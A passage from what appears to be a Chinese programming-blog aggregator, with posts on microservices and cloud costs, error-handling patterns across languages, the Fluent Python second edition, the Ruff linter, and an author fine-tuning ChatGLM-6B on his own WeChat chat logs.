  2. 没有昂贵的 Step Function 云成本的确变得更低了,如果你把 Lambda 换成 Nginx 或 Spring Gateway 或是我司的 Easegress,你把 S3 换成 MinIO,你把 SNS 换成 Kafka,你的成本 还能再低。

独立思考

好了,原文解读完了,你有自己的独立思考了吗?下面是我的独立思考,供你参考:

1)AWS 的 Serverless 也好, 微服务也好,单体也好,在合适的场景也都很香。这就跟汽车一样,跑车,货车,越野车各有各的场景,你用跑车拉货,还是用货车泡妞都不是一个很好的决定。

2)这篇文章中的这个例子中的业务太过简单了,本来就是一两个服务就可以干完的事。就是一个转码加分析的事,要分开的话,就两个微服务就好了(一个转码一个分析),做成流式的。如果不想分,合在一起也没问题了,这个粒度是微服务没毛病。微服务的划分有好些原则,我这里只罗列几个比较重要的原则:

  • 边界上下文。微服务的粒度不能大于领域驱动里的 Bounded Context(具体是什么 大家自行 Google),也就是一个业务域。
  • 单一职责,高内聚,低耦合。把因为相同原因变化的合在一起(内聚),把不同原因变化的分开(解耦)
  • 事务和一致性。对于两个重度依赖的功能,需要完成一个事务和要保证强一致性的,最好不要拆开,要放在一起。
  • 跟组织架构匹配。把同一个团队的东西放在一起,不同团队的分开。

3)Prime Video 遇到的问题不是技术问题,而是 AWS  Step Function 处理能力不足,而且收费还很贵的问题。这个是 AWS 的产品问题,不是技术问题。或者说,这个是Prime Video滥用了Step Function的问题(本来这种大量的数据分析处理就不适合Step Function)。所以,大家不要用一个产品问题来得到微服务架构有问题的结论,这个没有因果关系。试问,如果 Step Funciton 可以无限扩展,性能也很好,而且白菜价,那么 Prime Video 团队还会有动力改成单体吗?他们不会反过来吹爆 Serverless 吗?

4)Prime Video 跟 AWS 是两个独立核算的公司,就像 Amazon 的电商和 AWS 一样,也是两个公司。Amazon 的电商和 AWS 对服务化或是微服务架构的理解和运维,我个人认为这个世界上再也找不到另外一家公司了,包括 Google 或 Microsoft。你有空可以看看本站以前的这篇文章《Steve Yegg对Amazon和Google平台的吐槽》你会了解的更多。

5)Prime Video 这个案例本质上是“下云”,下了 AWS Serverless 的云。云上的成本就是高,一个是费用问题,另一个是被锁定的问题。Prime Video 团队应该很庆幸这个监控系统并不复杂,重写起来也很快,所以,可以很快使用一个更传统的“服务化”+“云计算”的分布式架构,不然,就得像 DHH 那样咬牙下云——《Why We’re Leaving the Cloud》(他们的 SRE 的这篇博文 Our Cloud Spend in 2022说明了下云的困难和节约了多少成本)

后记

最后让我做个我自己的广告。我在过去几年的创业中,帮助了很多公司解决了这些 分布式,微服务,云原生以及云计算成本的问题,如果你也有类似问题。欢迎,跟我联系:haoel@hotmail.com

另外,我们今年发布了一个平台 MegaEase Cloud, 就是想让用户在不失去云计算体验的同时,通过自建高可用基础架构的方式来获得更低的成本(至少降 50%的云计算成本)。目前可以降低成本的方式:

  1. 基础软件:通过开源软件自建,
  2. 内容分发:MinIO + Cloudflare 的免费 CDN,
  3. 马上准备发布的直接与底层IDC合作的廉价GPU计算资源…

欢迎大家试用。

如何访问

注:这两个区完全独立,帐号不互通。因为网络的不可抗力,千万不要跨区使用。

产品演示

介绍文章

 

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 是微服务架构不香还是云不香? first appeared on 酷 壳 - CoolShell.

by 陈皓 at May 08, 2023 09:52 AM

pythoncat

对比编程语言的四种错误处理方法,哪种才是最优方案?

作者:Andrea Bergia
译者:豌豆花下猫@Python猫
转载请保留作者及译者信息
错误处理是编程的一个基本要素。除非你写的是“hello world”,否则就必须处理代码中的错误。在本文中,我将讨论各种编程语言在处理错误时使用的最常见的四种方法,并分析它们的优缺点。
关注不同设计方案的语法、代码可读性、演变过程、运行效率,将有助于我们写出更为优雅和健壮的代码。

返回错误代码

这是最古老的策略之一——如果一个函数可能会出错,它可以简单地返回一个错误代码——通常是负数或者null。例如,C 语言中经常使用:
FILE* fp = fopen("file.txt" , "w");
if (!fp) {
  // 发生了错误
}
这种方法非常简单,既易于实现,也易于理解。它的执行效率也非常高,因为它只需要进行标准的函数调用,并返回一个值,不需要有运行时支持或分配内存。但是,它也有一些缺点:
  • 用户很容易忘记处理函数的错误。例如,在 C 中,printf 可能会出错,但我几乎没有见过程序检查它的返回值!
  • 如果代码必须处理多个不同的错误(打开文件,写入文件,从另一个文件读取等),那么传递错误到调用堆栈会很麻烦。
  • 除非你的编程语言支持多个返回值,否则如果必须返回一个有效值或一个错误,就很麻烦。这导致 C 和 C++ 中的许多函数必须通过指针来传递存储了“成功”返回值的地址空间,再由函数填充,类似于:
my_struct *success_result;
int error_code = my_function(&success_result);
if (!error_code) {
  // can use success_result
}
众所周知,Go 选择了这种方法来处理错误,而且,由于它允许一个函数返回多个值,因此这种模式变得更加人性化,并且非常常见:
user, err = FindUser(username)
if err != nil {
    return err
}
Go 采用的方式简单而有效,会将错误传递到调用方。但是,我觉得它会造成很多重复,而且影响到了实际的业务逻辑。不过,我写的 Go 还不够多,不知道这种印象以后会不会改观!😅

异常

异常可能是最常用的错误处理模式。try/catch/finally 方法相当有效,而且使用简单。异常在上世纪 90 年代到 2000 年间非常流行,被许多语言所采用(例如 Java、C# 和 Python)。
与错误处理相比,异常具有以下优点:
  • 它们自然地区分了“快乐路径”和错误处理路径
  • 它们会自动从调用堆栈中冒泡出来
  • 你不会忘记处理错误!
然而,它们也有一些缺点:需要一些特定的运行时支持,通常会带来相当大的性能开销。
此外,更重要的是,它们具有“深远”的影响——某些代码可能会抛出异常,但被调用堆栈中非常远的异常处理程序捕获,这会影响代码的可读性。
此外,仅凭查看函数的签名,无法确定它是否会抛出异常。
C++ 试图通过throws 关键字来解决这个问题,但它很少被使用,因此在 C++ 17 中已被弃用 ,并在 C++ 20 中被删除。此后,它一直试图引入noexcept 关键字,但我较少写现代 C++,不知道它的流行程度。
(译者注:throws 关键字很少使用,因为使用过于繁琐,需要在函数签名中指定抛出的异常类型,并且这种方法不能处理运行时发生的异常,有因为“未知异常”而导致程序退出的风险)
Java 曾试图使用“受检的异常(checked exceptions)”,即你必须将异常声明为函数签名的一部分——但是这种方法被认为是失败的,因此像 Spring 这种现代框架只使用“运行时异常”,而有些 JVM 语言(如 Kotlin)则完全抛弃了这个概念。这造成的结果是,你根本无法确定一个函数是否会抛出什么异常,最终只得到了一片混乱。
(译者注:Spring 不使用“受检的异常”,因为这需要在函数签名及调用函数中显式处理,会使得代码过于冗长而且造成不必要的耦合。使用“运行时异常”,代码间的依赖性降低了,也便于重构,但也造成了“异常源头”的混乱)

回调函数

另一种方法是在 JavaScript 领域非常常见的方法——使用回调,回调函数会在一个函数成功或失败时调用。这通常会与异步编程结合使用,其中 I/O 操作在后台进行,不会阻塞执行流。
例如,Node.JS 的 I/O 函数通常加上一个回调函数,后者使用两个参数(error,result),例如:
const fs = require('fs');
fs.readFile('some_file.txt', (err, result) => {
  if (err) {
    console.error(err);
    return;
  }

  console.log(result);
});
但是,这种方法经常会导致所谓的“回调地狱”问题,因为一个回调可能需要调用其它的异步 I/O,这可能又需要更多的回调,最终导致混乱且难以跟踪的代码。
现代的 JavaScript 版本试图通过引入promise 来提升代码的可读性:
fetch("https://example.com/profile", {
      method: "POST", // or 'PUT'
})
  .then(response => response.json())
  .then(data => data['some_key'])
  .catch(error => console.error("Error:", error));
promise 模式并不是最终方案,JavaScript 最后采用了由 C#推广开的 async/await 模式,它使异步 I/O 看起来非常像带有经典异常的同步代码:
async function fetchData() {
  try {
    const response = await fetch("my-url");
    if (!response.ok) {
      throw new Error("Network response was not OK");
    }
    return response.json()['some_property'];
  } catch (error) {
    console.error("There has been a problem with your fetch operation:", error);
  }
}
使用回调进行错误处理是一种值得了解的重要模式,不仅仅在 JavaScript 中如此,人们在 C 语言中也使用了很多年。但是,它现在已经不太常见了,你很可能会用的是某种形式的async/await。

函数式语言的 Result

我最后想要讨论的一种模式起源于函数式语言,比如 Haskell,但是由于 Rust 的流行,它已经变得非常主流了。
它的创意是提供一个Result类型,例如:
enum Result<S, E> {
  Ok(S),
  Err(E)
}
这是一个具有两种结果的类型,一种表示成功,另一种表示失败。返回结果的函数要么返回一个Ok 对象(可能包含有一些数据),要么返回一个Err 对象(包含一些错误详情)。函数的调用者通常会使用模式匹配来处理这两种情况。
为了在调用堆栈中抛出错误,通常会编写如下的代码:
let result = match my_fallible_function() {
  Err(e) => return Err(e),
  Ok(some_data) => some_data,
};
由于这种模式非常常见,Rust 专门引入了一个操作符(即问号 ?) 来简化上面的代码:
let result = my_fallible_function()?;   // 注意有个"?"号
这种方法的优点是它使错误处理既明显又类型安全,因为编译器会确保处理每个可能的结果。
在支持这种模式的编程语言中,Result 通常是一个 monad,它允许将可能失败的函数组合起来,而无需使用 try/catch 块或嵌套的 if 语句。
(译者注:函数式编程认为函数的输入和输出应该是纯粹的,不应该有任何副作用或状态变化。monad 是一个函数式编程的概念,它通过隔离副作用和状态来提高代码的可读性和可维护性,并允许组合多个操作来构建更复杂的操作)
根据你使用的编程语言和项目,你可能主要或仅仅使用其中一种错误处理的模式。
不过,我最喜欢的还是 Result 模式。当然,不仅是函数式语言采用了它,例如,在我的雇主 lastminute.com 中,我们在 Kotlin 中使用了 Arrow 库,它包含一个受 Haskell 强烈影响的类型Either。我有计划写一篇关于它的文章,最后感谢你阅读这篇文章,敬请保持关注😊。
译注:还有一篇《Musings about error handling mechanisms in programming languages》文章,同样分析了不同编程语言在错误处理时的方案。它还介绍了 Zig 编程语言的做法、Go 语言的 defer 关键字等内容,可以丰富大家对这个话题的理解,推荐一读。

May 08, 2023 12:00 AM

May 02, 2023

usb

b'Docker \xe5\xae\x89\xe8\xa3\x85 Mailcow \xe8\x87\xaa\xe5\xbb\xba\xe5\x9f\x9f\xe5\x90\x8d\xe9\x82\xae\xe7\xae\xb1'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe6\x8c\x87\xe5\xaf\xbc\xe4\xbd\xbf\xe7\x94\xa8 Docker \xe5\xae\x89\xe8\xa3\x85 Mailcow \xe6\x90\xad\xe5\xbb\xba\xe8\x87\xaa\xe5\xbb\xba\xe9\x82\xae\xe7\xae\xb1\xe3\x80\x82'

by Showfom at May 02, 2023 12:00 AM

April 28, 2023

pythoncat

《流畅的Python》第二版上市了,值得入手么?

《Fluent Python》第一版在 2015 年出版,简体中文版《流畅的Python》在 2017 年出版。从那时起,它就成为了所有 Python 程序员的必读之书。如果一份面向中高级 Python 开发者的书单里不包含这本书,那这份书单肯定不合格!
《Fluent Python》第二版在 2022 年出版,最近,简体中文版《流畅的Python》也隆重上市了!
在收到出版社的赠书后,我发了一条朋友圈,收到了很多点赞,以及咨询最多的两个问题:新书相比于旧版,有什么区别?我是新手,这本书适合我么?
本文将给大家解答这两个问题,另外在文末有赠书福利(送 10 本书),请不要错过哦~

这本书适合哪些读者?

如果你是零基础的 Python 新手,那么这本书不适合你,因为这本书“深入剖析 Python 语言核心特性及底层逻辑”,你可能会感觉它深奥超纲。
如果你是零基础的初学者,那么我推荐你阅读《Python编程:从入门到实践》、《看漫画学Python》这样的入门书籍。但是,在划走之前,请你一定要收藏本文,因为 Python 入门简单,相信你很快就会需要一本指导进阶的书籍了。
除了以上的读者群体外,《流畅的Python》适合于所有 Python 开发者/爱好者,特别地,如果你怀有以下的想法,那么这本书绝对是不二之选:
  • 想要更加熟练地掌握 Python
  • 想要了解实用的编程技巧
  • 想写出地道、优雅、高效的 Python 代码
  • 想要掌握 Python 最新的语言特性
我在两年前写过一篇《如果只推荐一本 Python 书,我要 Pick 它!》,强烈推荐了第一版书籍,你可以从该文看到第一版主要内容的思维导图,以及我的推荐介绍。
如果你没听说过《流畅的Python》,或者没读过第一版的书,我建议你先读一下那篇文章。
在本文中,我主要面向已经了解过这本书的读者,回答大家最为关切的两个疑问:已经读过第一版了,是否还有必要读第二版呢?已经拥有了第一版书籍(不管实体书还是电子书),是否值得再买入第二版呢?

这本书新增了什么内容?

《流畅的Python》作者 Luciano Ramalho 是 Python 软件基金会成员,他深度参与了各类社区活动,熟知大量语言特性的设计过程和差异,他的书具有内容全面而新潮的特点。在第一版写作完成时,Python 3.5 版本还没发布,但是书中已包含了大量 3.5 版本的内容。
第一版英文书籍发布于 2015 年,那时社区中仍有较多 Python 2 用户因循守旧,因此作者的附加意图之一就是展现 Python 3 的魅力,引导老用户们进行迁移。
在随后 7、8 年时间里,Python 社区中发生了很多重大事件:
  • 2015 年,PEP-484 被引入到 Python 3.5 版本,类型提示开始迅猛发展
  • 2015 年以来,asyncio 引入了很多新特性,异步编程越来越好用
  • 2015 年 TensorFlow 发布,2016 年 PyTorch 发布,2017 年 AlphaGo 击败人类世界围棋冠军。2022 年 ChatGPT 发布,各种 AI 模型和应用变得数不胜数
  • 2018 年,Python 之父 Guido van Rossum 卸任“独裁者”,社区开始“指导委员会”治理模式
  • 2020 年,Python 2 彻底停止维护
  • 2023 年,PEP-684 被采纳,PEP-703 也有希望被采纳,GIL 将迎来重大变革……
第二版书籍从 2020 年初开始写作,他这次已不用特意考虑 Python 2 用户了,重点是让读者熟悉 Python 新的功能特性。
英文第二版的上市时间比 Python 3.10.0 的发布时间早了好几个月,但是,书中的示例已基于 3.10 测试过,不仅有大量 3.10 版本的内容,还涉及一些 3.11 版本的变化。
为了凸显出两个版本的差异,这本书每一章的第一节都会介绍“本章新增内容”。得益于作者梳理出的线索,我整理出了一份新增特性的清单(仅为简化版,详细内容请以书本为准):
  • 3.5 版本:原生协程、矩阵乘法运算
  • 3.6 版本:f-string 语法、collections.abc.Collection 抽象基类、异步生成器
  • 3.7 版本:dict 插入有序、@dataclass 装饰器、contextlib 模块新增的几个函数、http.server 的多线程服务器
  • 3.8 版本:仅限位置参数、异步的 REPL、@functools.cached_property、海象运算符(:=)
  • 3.9 版本:||= 运算符、缓存装饰器 functools.cache、泛化类型提示
  • 3.10 版本:模式匹配语法(match-case)、zip() 函数的新功能、带括号的上下文管理器
以上罗列的内容都是各个版本的新特性,表明了这本书紧跟着语言的发展趋势。
除此之外,书中还增加了大量的内容或修改,比如:新增了很多图表、说明框、示例代码和延伸阅读材料;介绍 dict 与 OrderDict 之间的差异、介绍字典的视图对象、super() 函数是如何支持协作多重继承的、如何避免使用继承、使用 HTTPX 库、新增 FastAPI Web 服务示例、使用元类时的注意事项……
以上提到的新内容和修改点,主要都分散在第一版原有的内容里。另外,对于一些重点话题,作者在第二版里增加了大量的篇幅,比如新增两章内容重点介绍类型提示(《第8章 函数中的类型提示》、《第15章 类型提示进阶》)、增加大量并发编程内容(新增一章《第19章 Python并发模型》、新增 asyncio 异步编程内容)……
在翻阅新书的时候,我还注意到了几个值得一提的章节(都是第一版没有的内容):
  • 第 13 章对四种类型的划分讨论(鸭子类型、大鹅类型、静态鸭子类型、静态类型),不再是常规的类型分类角度(即动态类型、静态类型、强类型、弱类型),而是将类型提示以及抽象基类整合进来,作者画的图例让我感觉耳目一新
  • 第 2.6 节不仅介绍了最新的模式匹配(match-case)语法,还用它重构了一个解释器 lis.py 代码。然后到了第 18.3 节,作者又进一步分析 lis.py 的整体机制,试图让我们感受到“地道的 Python 代码体现的编程美感”,通过介绍 Scheme 句法,让 Python 开发者感受“简单的语言设计哲学如何让 Scheme 成为大师级作品”
  • 第 21.9.1 节使用 FastAPI 框架实现 Web 服务,舍弃了第一版中用到的 aiohttp,这为近几年已十分流行的 FastAPI 又助力推了一把
《流畅的 Python》的内容十分庞博,信息密度极高,作者是个绝对的细节控和整理大师。在主体的文本外,那些密集的提示框、注释、延伸阅读和杂谈,在知识广度和深度上让人叹为观止。
第二版除了新增大量内容外,还调整了很多原有章节的次序,图灵教育整理了全书的思维导图如下:
总体而言,第二版的变化之大超出了我的预期,值得我们暂时忘记第一版,然后把它当做一本全新的书仔细研读。购入实体书也很有必要,因为很多章节彼此关联,实体书比较便于查找目标章节,也便于阅读完整的上下文信息。

其它的变化

在解答完大家最为关切的问题后,我还想补充几点。
首先是关于印刷,第二版分成了上下两册,用纸也更为讲究,比第一版轻薄许多,对比沉甸甸的第一版,我个人感觉新版的阅读体验提升了不少。
其次是关于翻译,第二版修改了旧版翻译不到位或不准确的很多内容。比如,第一版将“Goose typing”翻译成“白鹅类型”,第二版修改成了“大鹅类型”;第一版将“Boolean Value of a Custom Type”错误译成了“自定义的布尔值”,第二版修正为“自定义类型的布尔值”;第一版将“When a List Is Not the Answer”译成“当列表不是首选时”,第二版修改成“当列表不适用时”……
“goose”是“鹅”,为了跟“鸭子类型”对照,最好翻译成两个字,但鹅不一定是白色,却普遍体型大于鸭子,因此我觉得改成“大鹅类型”是贴切的。另外两个例子出自前两章的小标题,比较显眼易见,书中还有不少翻译调整之处,就不一一列举了。
最后很值得关注的是,作者在创作第二版时,为新书搭建了一个网站,里面已收录了多篇没有写到书中的文章,可以作为辅助材料。
网站文章目前包括:经典的协程(高能预警:这篇特别长,是对书中第 17.13 章的强力补充)、使用 bisect 处理有序序列、 集合与字典的内部实现、对象的弱引用,等等。

福利环节

本次赠书共 10 本,有效期至 5 月 2 日 12 点。
抽奖送书(5本):给公众号【Python猫】发送数字“0428”,获取抽奖二维码后参与。
评论送书(5本):有两种评论方式,任选其一即可。方式1,从公众号里加猫哥为好友后,在朋友圈评论“你想获得赠书的理由”;方式2,将本文转发到你的社交圈之一(朋友圈或技术群或头条号或微博或其它交流平台),写上你对本书的评论/推荐语,然后发截图给我。
抽奖送书,各凭运气;评论送书,我会择优录用,奖品不叠加。若有弃奖,则奖品在微信读者群内抽奖送出。最后,感谢图灵出版社对本次活动的赞助。

April 28, 2023 12:00 AM

April 09, 2023

pythoncat

性能最快的代码分析工具,Ruff 正在席卷 Python 圈!

几天前,Python 开源社区又出了一个不小的新闻:HTTPX 和 Starlette 在同一天将在用的代码分析工具(flake8、autoflake 和 isort)统一替换成了 Ruff。
HTTPX 是一个支持异步的 HTTP 客户端,Starlette 是一个轻量级的 ASGI 框架,它们都是 Python 社区里的明星项目,目前加起来有近 20K star。它们都选择了使用 Ruff,再次扩大了 Ruff 的应用版图。
Ruff 是个诞生仅仅 8 个月的新兴项目,但已呈现出一种席卷 Python 社区的趋势!很多知名的开源项目已采纳 Ruff,比如 Transformers、Pandas、FastAPI、Airflow、SciPy、Bokeh、Jupyter、LangChain、PaddlePaddle、Sphinx、Pydantic、LlamaIndex……
Ruff 是什么?为什么它能吸引大量的开源项目使用?相比于其它代码分析工具,它有哪些突出之处,是否还有一些局限性?现在是否值得将项目在用的工具都替换成它呢?
带着这些问题,本文将带你全方位了解这个火爆的项目。

Ruff 加速 Rust 与 Python 的融合

Ruff 诞生于 2022 年 8 月,它是一个用 Rust 语言编写的高性能的 Python 静态代码分析工具,比其它分析工具快几个数量级(10-100 倍),而且功能也很全面。
代码分析工具 即 Linter,用于检查代码中的语法错误、编码规范问题、潜在的逻辑问题和代码质量问题等,可以提供实时反馈和自动修复建议。
在 Ruff 出现之前,社区里的代码分析工具呈现出百花齐放之势,比如有 Pylint、Flake8、Autoflake、Pyflakes、Pycodestyle 等等,它们的共同点是都使用 Python 编写而成。
Ruff 异军突起,在性能方面立于不败之地,主要得益于 Rust 天然的速度优势。Ruff 的出现,就像基于大语言模型的 ChatGPT 横空出世,所有竞争对手瞬间就黯淡失色了。
两个月前,我翻译了一篇《Python 2023 年的 3 个趋势》,它预测的第一个趋势就是 Rust 将加快融入到 Python 相关的项目和工具中,举出的例子就有 Ruff。
我现在可以补充一个观察了:用 Rust 开发的新工具将淘汰用其它语言开发的工具,而且新工具的普及速度可能比你的预想快得多!
Ruff 项目的成功,将刺激出更多 Python+Rust 的项目。它的作者 Charlie Marsh 立志于给 Python 构建高性能的开发工具,巧合的是我曾翻译过他写的《Using Mypy in production at Spring》,这篇文章恰好发布于 Ruff 诞生的 2022 年 8 月!
因此,我有理由推测:在 Ruff 项目成熟后,他将用 Rust 开发高性能的 Python 类型检查工具,到时候,目前流行的 Mypy、Pytype、Pyright 和 Pyre 等工具将迎来一大劲敌。(题外话:Python 社区纷乱繁多的虚拟环境管理工具和依赖包管理工具,也有望迎来变革了吧!)
这里还必须介绍两个 Rust 项目,因为 Ruff 的成功离不开它们:
  • RustPython :用 Rust 写成的 Python 解释器。Ruff 利用了它高性能的 AST 解析器,以此实现了自己的 AST 遍历、访问器抽象和代码质量检测逻辑
  • Maturin :用 Rust 写成的打包工具,可以将 Rust 项目打包成 Python 可用的包,从而可以被我们“pip install”后使用,且不需要配置 Rust 环境

Ruff 的优点与局限性

介绍完最关键的特性后(速度极快、支持 pip),我们接下来看看 Ruff 的其它方面。
总体而言,它具有这些特点:
  • 支持 pyproject.toml 
  • 兼容 Python 3.11
  • 超过 500 条内置规则,与 Flake8 内置的规则集近乎对等
  • 重新实现了数十个 Flake8 插件,如 flake8-bugbear、flake8-comprehensions 等
  • 支持自动修复,可自动纠正错误(例如,删除未使用的导入)
  • 内置缓存,可避免重复分析未更改的文件
  • 支持 VS Code、Pycharm、Neovim、Sublime Text、Emacs 等编辑器
  • 对 monorepo 友好,具有分层和级联配置
首先最值得介绍的是它支持的规则。Ruff 借鉴了流行的工具如 Flake8、autoflake、isort、pyupgrade、yesqa 等等,然后用 Rust 重新实现了超过 500 条规则。它本身不支持插件,但是吸收了数十个常用的 Flake8 插件的设计,使得已囊括的规则范围比其它任何工具都大。
Ruff 的作者还非常熟悉其它语言的分析工具,比如 Rust 的 Clippy 和 JavaScript 的 ESLint,并从这些项目上得到了设计上的启发。
Ruff 站在了多个工具/插件的肩膀上,重新实现了它们验证过的规则,也借鉴了它们的 API 和实现细节,这使得它扮演了一种“集大成”的角色,很方便使用者们作工具的顺滑迁移。
Ruff 第二个值得介绍的特点是,它没有局限于 Linter 的定位,而是借鉴 Rome、Prettier 和 Black 这些代码格式化工具(Formatter),也实现了代码格式化的功能。借鉴了 Autoflake、ESLint、Fixit 等工具,实现了代码自动纠错的功能。另外,它还借鉴了使用很广泛的 isort,支持对 import 作快速排序。
这些表明作者的目标并不只是开发一款优秀的代码分析工具,而是在静态代码分析的核心功能外,要创造出更多的可能性。此举是开发者的福音啊,以后一个工具就能满足多种诉求,再也不必纠结于不同工具的选型、协作与维护了!
Ruff 还有其它的优点,例如支持 pyproject.toml 、支持 Python 3.11、支持只分析变更的文件,等等。另外,它也有着一些局限性:
  • 支持的 lint 规则还有不够
  • 不支持使用插件,扩展性不强
  • 用 Rust 开发的,因此不便于在出错时 debug,也不便于 Python 开发者给它贡献代码
关于第一点,毕竟 Ruff 只是 8 个月大的新生项目,支持更多的规则,只是时间问题。至于插件带来的扩展性和编程语言的开发者生态,原因也是 Rust,属于“有得必有失”了。

Ruff 的使用

介绍完 Ruff 的整体情况后,我们接着看看该如何使用它吧。
首先是安装,可以用 Conda 和其它包管理工具,也可以直接用 pip:
pip install ruff
可以通过以下命令运行:
ruff check .                        # 分析当前及子目录内的所有文件
ruff check path/to/code/            # 分析指定目录及子目录内的所有文件
ruff check path/to/code/*.py        # 分析指定目录内的所有py文件
ruff check path/to/code/to/file.py  # 分析 file.py
可以用作预提交的钩子:
- repo: https://github.com/charliermarsh/ruff-pre-commit
  # Ruff version.
  rev: 'v0.0.261'
  hooks:
    - id: ruff
可以通过 pyproject.toml ,ruff.toml 或 .ruff.toml 文件进行配置,默认配置已能满足基本使用,详细配置可以参见文档的 Configuration
Ruff 提供了官方的 VS Code 插件,可以快速上手:
Ruff 官方没有提供 Pycharm 的插件,社区中有人发布了一个 Ruff 插件。
另外,它还提供了ruff-lsp ,可以被集成到任何支持 Language Server Protocol 的编辑器中,例如 Neovim、Sublime Text、Emacs 等等。

小结

本文从 HTTPX 和 Starlette 采纳 Ruff 的新闻开始,向读者介绍了这个仅诞生 8 个月却俘获了一大批知名开源项目。它最突出的特点是使用 Rust 开发,因此在性能方面远远超越同类工具,此外,它借鉴了众多工具和插件的设计,不仅静态代码分析的规则全面,而且还具备代码格式化、代码自动纠错和 import 排序等非其它 linter 所拥有的功能。
Ruff 的成功为 Python 社区提供了一个鲜活的榜样,可以预见,我们将迎来一波用 Rust 开发的高性能工具。Ruff 的成功,与最近火爆的 ChatGPT 一样,它们传递出了一个“这事儿能成”的信号,从而会引爆一场使用新技术的变革!(非常巧合的是:Rust 1.0 在 2015 年 5 月发布,而 OpenAI 在 2015 年 12 月成立。)
总体而言,Ruff 非常强大,凭实力而风靡 Python 社区,绝对推荐使用!它的使用文档很友好,如果你想了解更多细节,可以去翻查。

April 09, 2023 12:00 AM

April 07, 2023

greatdk

我用我的微信聊天记录和 280 篇博客文章,做了我自己的数字克隆AI

除了开飞机,做出完美的烤肋排,获得6块腹肌以及让公司赚大钱之外,我一直以来也想做成的一件事,是实现一个聊天机器人。

和多年前简单通过关键词匹配来回复的小黄鸡,到现在已经堪比人类智慧的 chatgpt,聊天AI一直在进步,但他们和我想的都有一些区别。

我在微信上和很多人聊天,有的人聊得多,有的人聊的少,我在群里也会说话,我还会写博客和公众号,我会在很多地方留下评论,我也会发微博,这些是我在网络世界留下的痕迹,某种程度上这些东西构成了世界对我的认知,从这个角度上,也就构成了我。将这些数据——我对不同消息的回复,我写的每一篇文章,每一句话,我发过的每一条微博等,全部汇入一个神经网络模型之中,去更新其中的参数,理论上就可以获得一个我的数字拷贝。

从原理上,这和对 chatgpt 说“请扮演一个叫小王的人,他的经历是XXX”不同,虽然以 chatgpt  的智慧,这样的扮演毫不费力且可能以假乱真,但其实 chatgpt 的参数并没有改变,这更像是“扮演”而非“重塑”,chatgpt  的上千亿个参数并没有改变一个,它从你之前的文本中获取一些信息,然后用它的智慧来应对你。

我喜欢在文章里写一些没有太大用处的比喻,并喜欢在最后做一些总结,跟人聊天的时候,我喜欢用「可以的」来敷衍,同时用卧槽来表示惊讶,我某些时候少言寡语,另一些时候则滔滔不绝,这是我自己能够感知的一些特点,此外还有更多我自己都无法察觉的固定习惯,但这些微妙又模糊的东西,我无法告诉 chatgpt,这就像你做自我介绍,可以介绍的很丰富,但和真正的你,依然差之千里,甚至有时候截然相反,因为当我们意识到自己的存在的时候,我们其实是在表演自己,只有在我们没有意识到自己的存在,而融入生活的时候,我们才是真正的自己。

在 chatgpt 发布之后基于兴趣去学习文本大模型的技术原理,有一种 49 年入国军的感觉,因为对个人爱好者来说,做出在任何方面或再细小的垂直领域超越 chatgpt 的可能性已经不存在了,同时它又不开源,除了使用,没有别的可打的主意。

但最近2个月出现的一些开源文本预训练模型,例如大名鼎鼎的 llama 和 chatglm6b,让我那个克隆自己的想法又开始蠢蠢欲动起来,上周,我准备试试看。

首先我需要数据,足够多且全部都由我产生的数据,最简单的数据来源是我的微信聊天记录和博客,因为没有完全清空微信聊天记录,从 2018 年到现在,我手机里的微信占了80G的储存空间,对此我一直有一种家里被人强占一块地儿的感觉,现在如果能把这里的数据利用起来,我会和这80G冰释前嫌。

 

我在几年前曾经备份过我的微信聊天记录,我又找到了当年使用的工具,是一个在 github 开源的工具,叫做 WechatExporter,链接我会放到文末,使用这个工具,可以实现在 Windows 电脑上备份 iPhone 中的手机微信的所有聊天记录,并导出成纯文本格式,这是一个需要耐心的操作,因为首先需要将整个手机备份在电脑上,然后这个工具会从备份文件中读取到微信的记录,并导出。

我大概花了4个小时备份,然后很快导出了我所有的微信聊天记录,其按照聊天对象,被导出到了许多个文本文件中

这里面包括了群聊和一对一的聊天。

然后我开始做数据清洗,大多数群我都是潜水比较多,我筛选出一些我比较活跃的群,此外还筛出了一些和个人的聊天记录,我和他们聊天很多,同时他们也愿意我把聊天记录拿来这么做,最后大概50个聊天的文本文件够我使用。

我写了一个 python 脚本,遍历这些文本文件,找出我的所有发言,以及上一句,做成对话的格式,然后存入 json,这样,我就拥有了一个我自己的微信聊天数据集。

此时我也让同事用爬虫爬取了我自己的所有博客文章,他爬完发给我之后我才想起来,我其实可以用博客后台内置的导出功能直接导出。博客数据虽然也很干净,但我一开始并不知道如何利用,因为我要训练的是聊天的模型,而博客文章是一大段一大段的话,并不是聊天,所以我第一次训练,只用了微信的这些纯聊天记录。

我选择了 chatglm-6b 作为预训练模型,一方面它的中文效果已经被训练的足够好了,另一方面它的参数是 60 亿,我的机器能不太费力的跑起来,还有个原因是,在 github 已经有好几个对其进行微调训练的方案了(我会一起列在文末)

考虑到我的微信聊天数据最终可用大约 10 万条,我设置了比较低的学习率,同时增加了epoch,在几天前的一个晚上,睡前,我写完训练脚本,并开始运行,然后我就开始睡觉,希望睡醒之后能跑完,但那个晚上我差不多每隔一个小时就醒一次。

早上起来之后,模型训练完了,遗憾的是 loss 下降的并不好,也就意味着12个小时训练出来的模型,并不算好,但我是个深度学习的菜鸡,能跑完不报错我已经谢天谢地了,所以我并没有感到失望,而是开始用这个模型来跑对话。

为了增加一点仪式感,我不想用 jupyter 笔记,或在黑黢黢的终端里去聊天,我找了个开源的前端聊天页面,略做修改,然后把模型部署起来,封装了 API ,然后用前端页面去调用这个 API,于是就可以实现比较像那么回事的聊天了。

请不笑话我,我用自己的 10 万条微信聊天记录,训练出的模型,以下是我和他(或者它?)的第一次对话

 

我又试了下,结果依然不是很好,我不是那种不优化到极致就不好意思拿出手的人,因此我毫不害羞的直接发给了几个朋友,他们给我的反馈是,有点像你,同时他们给我返了对话截图。

 

第一个版本,这个模型确实具备某些跟我比较类似的点,我说不好,但有一点这种感觉。

如果你问它,你哪里读的大学,或者你老家是哪里,它并不会回答出准确的信息,并且肯定说的是错的,因为我的聊天记录中并不会有很多人这么问我,从某种角度上,这个模型并不了解我,它像是一个克隆。

